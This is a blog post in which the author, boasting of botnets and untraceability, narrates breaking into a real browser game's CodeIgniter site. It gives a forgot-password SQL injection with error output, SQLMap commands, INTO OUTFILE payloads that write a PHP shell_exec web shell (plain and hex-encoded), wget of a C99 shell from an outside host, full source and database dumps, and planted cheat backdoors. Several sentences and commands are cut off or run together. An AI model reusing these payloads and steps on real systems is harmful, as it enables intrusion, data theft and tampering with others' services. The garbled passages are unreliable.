How the browser MMO and CodeIgniter Hacked
This one is intended to be an educational/tutorial post on how I hacked an MMORPG web browser Persian game known as Removed From Text and along with it, the well known PHP framework CodeIgniter used for developing it. Reading this might help you learn a thing or two about information security.
First of all, you’re not encouraged at all to do anything against Removed From Text.com or any other CodeIgniter powered website using this technique or any equivalent technique. I am a world-class professional hacker and it’s practically impossible to track my actions in the Internet, I use well implemented anonymity/privacy networks and BOTNETs to perform my tasks and infiltrate systems in a way that’s very hard to detect.
Defacing any website – for any purpose – and/or stealing its private data it’s a felony in international treaties and therefore is condemned highly. The intent of this article is only educational.
* * *
Finding the vulnerability
A few days ago, I visited Removed From Text to play an online web-based browser game which is purely Persian. I was well aware of the game and it’s developers, since I was the coordinator for their participation in 3rd Digital Media Fair of Tehran. I played for a while, and started thinking this might take a long time, so I decided to cheat.
Probing the site and its features for a while, I figured a SQL Injection vulnerability in it’s “Forgot Password” feature. It’s worthy of note that SQL Injection vulnerabilities are usually found in the least attended, most obsolete sections of a website. Like a small polling dialog, or a forgot password dialog.

The vulnerability which can be seen at http://Removed From Text.ir/main/forgetPassword by entering foo as username and 1′ morgh as the password, brings up the following dialog at http://uc.Removed From Text.com/index.php/forget/index :
A Database Error Occurred
Error Number: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘morgh” at line 1 SELECT `uid` FROM uc_users WHERE username=’foo’ and email=’1′ morgh’ Filename: /var/www/universalcommander/models/forgetmodel.php Line Number: 17
A Database Error Occurred
Error Number: 1222 The used SELECT statements have a different number of columns SELECT `uid` , `username`, `email` FROM uc_users WHERE username=’foo’ and email=’1′ and 1=0 union select 1 — ‘ Filename: /var/www/universalcommander/models/forgetmodel.php Line Number: 11
Exploiting the vulnerability
Since CodeIgniter filters all dangerous characters in a HTTP GET request, I only probed for POST vulnerabilities. The one described above is also a POST SQL Injection vulnerability. To use POST vulnerabilities in SQLMap, you have to provide it with a HTTP Request file:POST http://uc.With the following command line:Removed From Text.com/index.php/forget/index HTTP/1.1 Host: uc.Removed From Text.com User-Agent: Mozilla/4.0 username=abiusx&email=hacked@abiusx.com
sudo python sqlmap.py -r requestfile.txt –sql-query=”PUT YOUR QUERY HERE” –dumpAnd SQLMap will do the rest, namely using blind injection to return result of your query. You can also use –tables, –databases, –passwords and etc. switches to ask SQLmap to list appropriate database stuff for you.
Sapping some critical data
At this point, there are two kinds of information that are of extreme value for us to continue elevating ourselves. First are username/passwords and second are session information. Other types of data are not of much value since we can only perform SELECT queries and can’t change anything in the database. We have to seek administrator users and get our hands on their passwords, so that we can elevate ourselves and infiltrate the system in an administrative layer. There is a well-established security practice, that you have to only store hashes of passwords (which is a one-way digest of the password) in your database, and not the actual passphrases. Hashes are meant to be irreversible back to passwords, and every time a user tries to login, the hash is generated again and compared against the hash available in the database. Unfortunately, most Iranian developers don’t respect this practice and store the original passwords, thus hackers finding a simple SQL Injection are able to know all the passwords of all the users, and it’s a proven fact that, most users use the same password everywhere. This was not the case though, andMy share of disappointment
I checked count of users, and it matched. I checked some other stuff and it seemed that some game information is not available in any of the databases, and there were many databases. That’s when I started doing this in terminal:dig s2.Removed From Text.ir dig s4.Removed From Text.ir digRemoved From Text.com
An Error Was Encountered
Unable to load the requested language file: language/morgh/general_lang.php
/var/www/Which is in fact in terms of operating system paths:Removed From Text/application/language/../../../../../tmp/general_lang.php
/tmp/general_lang.phpI chose /tmp since it has full write accesses for everyone, and I could put some file there much easier.
MySQL is much better than MS SQL, yet not impenetrable
As I told you before, I couldn’t do some blind injection to enumerate database information, but I could still run SQL queries. Out of all possible queries, I chose this injection:‘ and 1=0 union select “<?php echo shell_exec($_REQUEST[q]); ” into outfile “/tmp/general_lang.php” –This one is very tricky, what is does is, it uses union bypass on the first query (remember, the second programmer’s bug – aka query – expected 3 columns) to store the string <?php echo shell_exec($_REQUEST[q]) as the result of a SQL query into the file “/tmp/general_lang.php”. The string is actually a valid PHP code, that runs everything it receives in the operating system terminal (they used Ubuntu). This query also pops the same error we got on our first server, but this time it does its trick and makes the file. Now I simply refreshed my login page’s source code, only to encounter the following:
It seems that CodeIgniter had some other tricks up it’s sleeve, it changed < and ( ) characters to their equivalent HTMLEntities to prevent XSS and similar attacks. It actually took me a while to figure out it was the framework’s doing, I was thinking I made some mistakes first.0 <?php echo shell_exec($_REQUEST[q])
Breaking the habbit
The good news was, I knew a way to bypass it. The bad news was, the /tmp/general_lang.php already existed and I couldn’t use MySQL’s into outfile to overwrite it. The other good news were, I still had a limited number of tries, since the application used a bunch of language files, not only “general_lang.php”. This time, I used an online string to hex tool to get the hex equivalent of my supposed PHP code “<?php echo shell_exec($_REQUEST[q])” which was 3c3f706870206563686f207368656c6c5f6578656328245f524551554553545b715d29 . Now I used the following query to make my new file:This time, the mighty CodeIgniter could not filter my hex-encoded parameter so it left it as is, and MySQL took care of decoding it back to the actual code via unhex() function. Now I had a functional terminal access to the server, although with a limited user such as www-data. The rest of the process is piece of cake, yet I will describe it to you.‘ and 1=0 union select unhex(“3c3f706870206563686f207368656c6c5f6578656328245f524551554553545b715d29″) into outfile “/tmp/races_lang.php” –
Eating the Cake
I used the following commands to find a suitable spot to upload my actuall shell:ls -la /var/wwwResult was:
Those folders who have “www-data” as owner, are totally workable for me. Also those with the access “rwxrwxrwx” have full write accesses for everybody, so I could also do my stuff in them. Let’s assume I used the folder “help”, which is accessible via the URL help4.-rwxrwxr-x 18 root root 4096 Feb 4 11:10 index.php -rwxr-xr-x 22 root root 4096 Feb 4 12:25 repairing.php drwxrwxr-x 1 root root 0 Jan 2 12:31 systemdrwxr-xr-x 5 root root 4096 Feb 5 15:11Removed From Textdrwxr-xr-x 21 root root 4096 Oct 20 15:33Removed From TextGame2-- drwxr-xr-x 3 root root 4096 Oct 12 15:38Removed From TextGame2~~ lrwxrwxrwx 1 root root 8 Sep 4 13:15 IptV ->Removed From Textdrwxrwxrwx 10 sshadmin sshadmin 4096 Jan 2 12:54 azOld drwxrwxrwx 8 root root 4096 Feb 4 05:21 azpanel drwxrwxrwx 10 root root 4096 Oct 19 19:55 chat. drwxr-xr-x 2 root root 4096 Oct 15 14:00 email igniter drwxrwxrwx 7 root root 4096 Feb 4 05:16 help drwxrwxrwx 5 www-data www-data 4096 Oct 26 19:54 helptest drwxrwxrwx 4 www-data www-data 4096 Oct 19 19:28 help~ -rwxrwxr-x 1 root root 177 Sep 4 2010 index.html drwxr-xr-x 7 root root 4096 May 30 2011 register~ drwxr-xr-x 2 www-data www-data 4096 Feb 4 04:10 s5 drwxrwxrwx 4 root root 4096 Feb 5 18:56 s5b drwxr-xr-x 4 root root 4096 Jul 6 2011 store-- drwxrwxrwx 3 www-data www-data 4096 Aug 2 2011 tools -rwxrwxr-x 1 root root 7491 Sep 9 2010 webmin.log drwxrwxrwx 7 root root 4096 Feb 4 12:29 wordpress
wget “http://www.Sh3LL.org/c99.txt?” -O /var/www/help4/shell.phpAnd simply access my beloved C99 shell at http://help4.
tar -zcvf /var/www /tmp/code.tar.gz # takes a few minutes, its 500 MB ln -s /tmp/code.tar.gz /var/www/help/code.tar.gzThen I removed the code (or maybe I forgot to?). Now I wanted the whole database to be able to run the game on another server, presumable my own system, but I needed MySQL root password for that. Don’t panic, the
mysqldump -u root -pROOTPASS –all-databases | gzip > /tmp/mysql.tar.gz ln -s /tmp/mysql.tar.gz /var/www/help/mysql.tar.gzAnd downloaded the whole MySQL data to my system as well (570 MB). The next step I took, was to change plenty parts of the source code, to allow me to cheat. For example, I put some backdoors to build my builds in less than a second, some to full my pool of resources, some to add money to me, and etc. The final step, was to obtain list of user passwords. Since there were 17000 users on the database, and their passwords were salted and SHA hashed, I didn’t dare pay for a supercomputer to break all of them, instead I changed the login script of the
Epilogue
The tutorial described in this post, was actually performed by me. Some of the steps required lots of thinking and caution, to prevent me from being tracked and to prevent my chances being ruined (like in language files scenario). I have to disappoint you right here and now, by telling you that I contacted theRelated Posts
Tags: Blind SQL Injection, CodeIgniter, CodeIgniter bug, CodeIgniter Hacking, CodeIgniter Remote File Inclusion, CodeIgniter Security Flaw, CodeIgniter vulnerability, File Inclusion, Forgot password, ForgotPassword security flaw, hacking, Hacking Scenario, Hacking Tutorial, Hash Cracking, hash Salt, help.asmandez.ir, hex bypassing, INTO OUTFILE, Learn Hacking, Learn information security, MySQL, MySQL Into Outfil, PHP Framework, remote terminal, Security Salt, Session Hijacking, SessionID, SHA1, SHA512, shell access, shell upload, SQL Injection, SQLMap, UNION Bypassing, vulnerability, WebScarab, WhiteHat, Wordpress
Trackback from your site.
Comments (3)
Anonymous
| #
Highly informative…
Reply
لئو پاکر
| #
عمو اینا یعنی چی؟ مایل به تبادل لینک هستم. با تشکر
Reply
Maduka
| #
Hi Abbas,
This is an amazing work what you have done. Thank you so much for this great article about how to find security holes in an application. It would be really great if you can explain how to fix those security holes in this example. can you please do that for us?
Thank you very much
Reply